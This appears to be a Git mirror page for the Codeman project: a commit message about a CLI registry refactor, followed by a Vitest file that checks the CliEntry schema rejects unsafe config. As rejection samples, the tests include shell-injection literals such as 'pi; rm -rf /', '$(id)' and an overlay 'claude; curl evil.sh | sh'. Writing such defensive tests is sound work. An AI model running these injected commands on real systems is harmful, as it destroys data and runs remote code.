mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-10-02 05:29:42 +02:00
Every run mode is now a `CliEntry` in `src/config/cli-registry/` — discovery (search dirs, version + identity probes), the launch argv template, env handling, the `capabilities` flags that replace per-CLI branching, and the `overlays` that back the remote/docker pane commands. Code that used to ask "which CLI is this?" reads the entry instead. Behaviour is unchanged. `test/cli-registry-spawn-golden.test.ts` pins every spawn command as a literal string, captured from the hand-written builders before they were deleted, and `test/location-overlay-commands.test.ts` does the same for all 20 remote and in-container pane commands. Config can never contain shell text: an entry declares typed argv tokens, literals are validated against a safe-word pattern at LOAD time (a bad literal rejects the whole entry — a silently dropped `--no-approve` is not cosmetic), and values resolve through patterns NAMED in code, so a user `clis.json` cannot widen its own validation. `~/.codeman/clis.json` overrides any entry, read-only in this release. OMP is included as a registry entry rather than a tenth hand-written builder, so `buildOmpCommand()`, the omp availability pre-flight, the omp arm of `buildPathExport()` and the omp entries in the truecolor/NO_COLOR, alt-screen and doctor ladders all drop out. Guard rails: - `test/cli-registry-no-id-branching.test.ts` fails the build if per-CLI-id branching reappears outside `stock.ts`, in any of its four shapes (`===`, `!==`, `switch`/`case`, `includes`) — an `===`-only version would miss the negated forms, which is how 36 of them survived an earlier pass. Every allowlisted branch carries its reason. - `external`, `hooks` and `altScreen` stay three INDEPENDENT capabilities; deriving one from another shipped the `until=stop`-hangs-on-shell bug. - `param` is two namespaces. `launch.params` keys, `configSetenv.fromParam` and `privilegedParams[].param` all name a LAUNCH param; the legacy `<Mode>Config` wire field is separate, bridged only by `legacyConfigAliases`. Getting `privilegedParams[].param` wrong is SILENT — it is the multi-user bypass clamp's only handle on a CLI's privilege switch, and a wrong name clamps nothing with no error and no failing test — so `schema.ts` rejects an entry naming a param it never declared. - Registry data resolves AT CALL TIME (`sessionModeSchema()`, `allowedEnvPrefixes()`, `dependencyRegistry()`, the resolvers' `searchDirs` thunks). A module-level const freezes at first import, so a CLI enabled while the server ran moved the run menu but not that surface. - Six fields are annotated DECLARED-FOR-LATER and read by nothing (`shortBadge`, `accent`, `capabilities.echo`/`wheelForward`/ `keyboardAccessory`/`maxFrameBytes`): all frontend behaviour, transcribed rather than measured. A test pins the list so it cannot quietly grow. Three user-visible changes, all deliberate and named: - `probeDockerCliVersion()` derives the in-container binary from the registry rather than assuming it equals the mode name (`antigravity` runs `agy`). - The remote CLI version probe now covers grok and deepseek, which the hardcoded map it replaces omitted while its own comment said the rule was "every mode except shell". - `codeman doctor`'s CLI rows are generated from the entries, so Claude's install hint is the install command rather than a docs URL, five CLIs gain hints they never had, and the row order follows the catalog. Also hardened along the way: `sessionModeSchema()` is bounded at 24 chars (matching the `cliId` pattern) before its failure message quotes the value back, and `deepMerge` skips `__proto__`/`constructor`/`prototype` when reading the hand-editable `clis.json`. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01WQkoi1cNegqVwZHgzx5SbJ
257 lines
11 KiB
TypeScript
257 lines
11 KiB
TypeScript
/**
|
|
* @fileoverview Validation rules for a `CliEntry`.
|
|
*
|
|
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
|
|
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
|
|
*
|
|
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
|
|
* misspelled field name degrades to "field absent → the permissive default applies",
|
|
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
|
|
* - **No shell text can reach the command line.** Every literal is checked against a
|
|
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
|
|
* than being dropped — a silently dropped flag would change security-relevant behaviour
|
|
* (losing `--no-approve` is not a cosmetic difference).
|
|
*
|
|
* Port: none (pure schema).
|
|
*/
|
|
|
|
import { describe, it, expect } from 'vitest';
|
|
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
|
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
|
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
|
|
|
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
|
|
function baseEntry(id = 'pi'): Record<string, unknown> {
|
|
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
|
|
if (!found) throw new Error(`no stock entry ${id}`);
|
|
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
|
|
}
|
|
|
|
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
|
|
const entry = baseEntry();
|
|
mutate(entry);
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
|
}
|
|
|
|
describe('the shipped catalog', () => {
|
|
it('validates every stock entry exactly as shipped', () => {
|
|
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
|
for (const entry of STOCK_CLIS) {
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(
|
|
result.success,
|
|
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
|
|
).toBe(true);
|
|
}
|
|
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
|
|
});
|
|
|
|
it('ships every entry with a unique id and order', () => {
|
|
const ids = STOCK_CLIS.map((e) => e.id as string);
|
|
expect(new Set(ids).size).toBe(ids.length);
|
|
const orders = STOCK_CLIS.map((e) => e.order);
|
|
expect(new Set(orders).size).toBe(orders.length);
|
|
});
|
|
});
|
|
|
|
describe('strictness', () => {
|
|
it('rejects an unknown key at the top level', () => {
|
|
expectRejected((e) => {
|
|
e.unknownField = true;
|
|
}, 'a typo must not degrade to a permissive default');
|
|
});
|
|
|
|
it('rejects an unknown key deep inside capabilities', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).newSwitch = true;
|
|
}, 'strictness has to hold at every depth, not just the top');
|
|
});
|
|
|
|
it('rejects an unknown key inside discovery', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).probeEverything = true;
|
|
}, 'strictness has to hold at every depth');
|
|
});
|
|
});
|
|
|
|
describe('no shell text can reach the command line', () => {
|
|
it('rejects a literal carrying shell metacharacters', () => {
|
|
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
|
expectRejected(
|
|
(e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args[0] = { lit: evil };
|
|
},
|
|
`literal ${JSON.stringify(evil)} must be refused`
|
|
);
|
|
}
|
|
});
|
|
|
|
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
|
|
}, 'a fixed value is a literal too');
|
|
});
|
|
|
|
it('rejects a flag that does not look like a flag', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: 'rm -rf /' });
|
|
}, 'a flag must match -x / --long-flag');
|
|
});
|
|
|
|
it('rejects an overlay command that is more than bare words', () => {
|
|
expectRejected((e) => {
|
|
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
|
|
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
|
|
});
|
|
});
|
|
|
|
describe('cross-field integrity', () => {
|
|
it('rejects a valueFrom naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
|
|
}, 'a dangling valueFrom silently emits nothing');
|
|
});
|
|
|
|
it('rejects a capabilityGate naming an undeclared gate', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
|
|
}, 'an unknown gate never passes, so the flag would be silently unreachable');
|
|
});
|
|
|
|
it('rejects a fallback chain whose last variant is conditional', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as Record<string, unknown>;
|
|
launch.chain = 'fallback';
|
|
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
|
|
}, 'the terminal case of a fallback chain must be guaranteed to render');
|
|
});
|
|
|
|
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
|
|
}, 'an alias for a param that does not exist can never apply');
|
|
});
|
|
|
|
it('rejects a configSetenv reading an undeclared param', () => {
|
|
// Losing this mapping for DeepSeek would silently drop a permission clamp.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
|
|
}, 'exporting from a param that does not exist would export nothing, silently');
|
|
});
|
|
|
|
it('rejects a privilegedParams clamp naming an undeclared param', () => {
|
|
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
|
|
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
|
|
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
|
|
}, 'clamping a param that does not exist would silently stop clamping');
|
|
});
|
|
|
|
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
|
|
// codex is the entry where the two names differ, so it is the one that catches a
|
|
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
|
|
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
|
|
// shipped entry must be on the param side of that line.
|
|
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
|
expect(codex).toBeDefined();
|
|
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
|
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
|
|
|
const wrong = baseEntry('codex');
|
|
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
|
|
{ param: 'dangerouslyBypassApprovals', clampTo: false },
|
|
];
|
|
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
|
|
});
|
|
|
|
it('rejects a profile name this build does not implement', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
|
|
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
|
|
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
|
|
});
|
|
});
|
|
|
|
describe('the env allowlist cannot be widened by config', () => {
|
|
it('requires a prefix to end with an underscore', () => {
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
|
|
}, 'a prefix without a trailing _ matches more namespaces than it names');
|
|
});
|
|
|
|
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
|
|
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
|
|
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
|
|
}, 'a 2-char prefix is too broad for a global allowlist');
|
|
});
|
|
|
|
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
|
|
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
|
|
});
|
|
});
|
|
|
|
describe('identity', () => {
|
|
it('rejects an id that is not a lowercase kebab token', () => {
|
|
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
|
|
const entry = baseEntry();
|
|
entry.id = bad;
|
|
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
|
|
}
|
|
});
|
|
|
|
it('rejects an accent that is not a 6-digit hex colour', () => {
|
|
expectRejected((e) => {
|
|
e.accent = 'red';
|
|
}, 'the accent is interpolated into CSS');
|
|
});
|
|
|
|
it('accepts a well-formed custom entry built from a stock one', () => {
|
|
const entry = baseEntry();
|
|
entry.id = 'my-cli';
|
|
entry.label = 'My CLI';
|
|
entry.stock = false;
|
|
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('capability shapes', () => {
|
|
it('accepts only the three hook states', () => {
|
|
for (const value of ['none', 'always', 'supervised']) {
|
|
const entry = baseEntry();
|
|
(entry.capabilities as Record<string, unknown>).hooks = value;
|
|
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
|
|
}
|
|
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
|
|
// 'always', which is wrong for a supervised CLI.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).hooks = true;
|
|
}, 'hooks is a tri-state, not a boolean');
|
|
});
|
|
|
|
it('accepts only known transcript readers', () => {
|
|
const entry = baseEntry() as unknown as CliEntry;
|
|
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
|
|
const candidate = baseEntry();
|
|
(candidate.capabilities as Record<string, unknown>).transcript = value;
|
|
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
|
|
}
|
|
expect(entry.capabilities.transcript).toBeDefined();
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
|
|
}, 'a transcript reader that does not exist would silently read nothing');
|
|
});
|
|
});
|